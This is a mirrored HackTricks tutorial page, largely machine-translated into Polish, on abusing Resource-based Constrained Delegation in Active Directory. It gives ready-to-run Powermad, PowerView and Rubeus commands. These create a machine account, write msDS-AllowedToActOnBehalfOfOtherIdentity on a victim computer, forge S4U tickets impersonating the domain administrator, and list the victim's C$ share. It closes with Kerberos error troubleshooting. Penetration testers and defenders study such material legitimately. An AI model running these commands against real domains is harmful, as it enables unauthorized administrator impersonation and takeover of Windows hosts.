mirror of https://github.com/carlospolop/hacktricks synced 2025-02-17 06:28:27 +00:00

Translator ffb6e486bd Translated ['generic-methodologies-and-resources/basic-forensic-methodol

2024-07-19 10:19:44 +00:00

11 KiB

Raw Blame History

Resource-based Constrained Delegation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

{% embed url="https://websec.nl/" %}

Basics of Resource-based Constrained Delegation

To jest podobne do podstawowej Constrained Delegation, ale zamiast nadawania uprawnień do obiektu, aby podszywać się pod dowolnego użytkownika w stosunku do usługi. Resource-based Constrained Delegation ustawia w obiecie, kto może podszywać się pod dowolnego użytkownika w stosunku do niego.

W tym przypadku, ograniczony obiekt będzie miał atrybut msDS-AllowedToActOnBehalfOfOtherIdentity z nazwą użytkownika, który może podszywać się pod dowolnego innego użytkownika w stosunku do niego.

Inna ważna różnica między tym Constrained Delegation a innymi delegacjami polega na tym, że każdy użytkownik z uprawnieniami do zapisu nad kontem maszyny (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) może ustawić msDS-AllowedToActOnBehalfOfOtherIdentity (W innych formach Delegacji potrzebne były uprawnienia administratora domeny).

New Concepts

W Constrained Delegation powiedziano, że flaga TrustedToAuthForDelegation w wartości userAccountControl użytkownika jest potrzebna do wykonania S4U2Self. Ale to nie jest całkowita prawda.
Rzeczywistość jest taka, że nawet bez tej wartości, możesz wykonać S4U2Self w stosunku do dowolnego użytkownika, jeśli jesteś usługą (masz SPN), ale jeśli masz TrustedToAuthForDelegation, zwrócone TGS będzie Forwardable, a jeśli nie masz tej flagi, zwrócone TGS nie będzie Forwardable.

Jednakże, jeśli TGS używane w S4U2Proxy NIE jest Forwardable, próba nadużycia podstawowej Constrained Delegation nie zadziała. Ale jeśli próbujesz wykorzystać Resource-Based constrained delegation, to zadziała (to nie jest luka, to funkcja, najwyraźniej).

Attack structure

Jeśli masz uprawnienia równoważne do zapisu nad kontem Komputera, możesz uzyskać uprzywilejowany dostęp do tej maszyny.

Załóżmy, że atakujący ma już uprawnienia równoważne do zapisu nad komputerem ofiary.

Atakujący kompromituje konto, które ma SPN lub tworzy jedno (“Service A”). Zauważ, że jakikolwiek Użytkownik Administrator bez żadnych innych specjalnych uprawnień może utworzyć do 10 obiektów Komputera (MachineAccountQuota) i ustawić im SPN. Więc atakujący może po prostu utworzyć obiekt Komputera i ustawić SPN.
Atakujący nadużywa swojego uprawnienia ZAPISU nad komputerem ofiary (ServiceB), aby skonfigurować resource-based constrained delegation, aby pozwolić ServiceA na podszywanie się pod dowolnego użytkownika w stosunku do tego komputera ofiary (ServiceB).
Atakujący używa Rubeus, aby przeprowadzić pełny atak S4U (S4U2Self i S4U2Proxy) z Usługi A do Usługi B dla użytkownika z uprzywilejowanym dostępem do Usługi B.
S4U2Self (z konta SPN, które zostało skompromitowane/stworzone): Prosi o TGS Administratora dla mnie (Nie Forwardable).
S4U2Proxy: Używa nie Forwardable TGS z poprzedniego kroku, aby poprosić o TGS od Administratora do komputera ofiary.
Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz Resource-based constrained delegation, to zadziała.
Atakujący może przekazać bilet i podszyć się pod użytkownika, aby uzyskać dostęp do ofiary ServiceB.

Aby sprawdzić MachineAccountQuota domeny, możesz użyć:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Atak

Tworzenie obiektu komputera

Możesz stworzyć obiekt komputera w obrębie domeny używając powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Konfigurowanie Resource-based Constrained Delegation

Używając modułu PowerShell activedirectory

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Używanie powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Wykonywanie pełnego ataku S4U

Przede wszystkim utworzyliśmy nowy obiekt Komputera z hasłem 123456, więc potrzebujemy hasha tego hasła:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

To będzie drukować hashe RC4 i AES dla tego konta.
Teraz atak może być przeprowadzony:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Możesz wygenerować więcej biletów, pytając tylko raz, używając parametru /altservice w Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} Zauważ, że użytkownicy mają atrybut o nazwie "Nie można delegować". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie go podszyć. Ta właściwość może być widoczna w bloodhound. {% endhint %}

Dostęp

Ostatnia linia poleceń wykona pełny atak S4U i wstrzyknie TGS z Administratora do hosta ofiary w pamięci.
W tym przykładzie zażądano TGS dla usługi CIFS od Administratora, więc będziesz mógł uzyskać dostęp do C$:

ls \\victim.domain.local\C$

Nadużywanie różnych biletów serwisowych

Dowiedz się o dostępnych biletach serwisowych tutaj.

Błędy Kerberos

KDC_ERR_ETYPE_NOTSUPP: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a Ty dostarczasz tylko hasz RC4. Podaj Rubeus przynajmniej hasz AES256 (lub po prostu podaj mu hasze rc4, aes128 i aes256). Przykład: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
KRB_AP_ERR_SKEW: Oznacza to, że czas bieżącego komputera różni się od czasu DC i Kerberos nie działa prawidłowo.
preauth_failed: Oznacza to, że podana nazwa użytkownika + hasze nie działają przy logowaniu. Mogłeś zapomnieć wstawić "" w nazwie użytkownika podczas generowania hashy (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)
KDC_ERR_BADOPTION: Może to oznaczać:
Użytkownik, którego próbujesz naśladować, nie ma dostępu do żądanej usługi (ponieważ nie możesz go naśladować lub nie ma wystarczających uprawnień)
Żądana usługa nie istnieje (jeśli prosisz o bilet na winrm, ale winrm nie działa)
Utworzony fakecomputer stracił swoje uprawnienia do podatnego serwera i musisz je przywrócić.

Odnośniki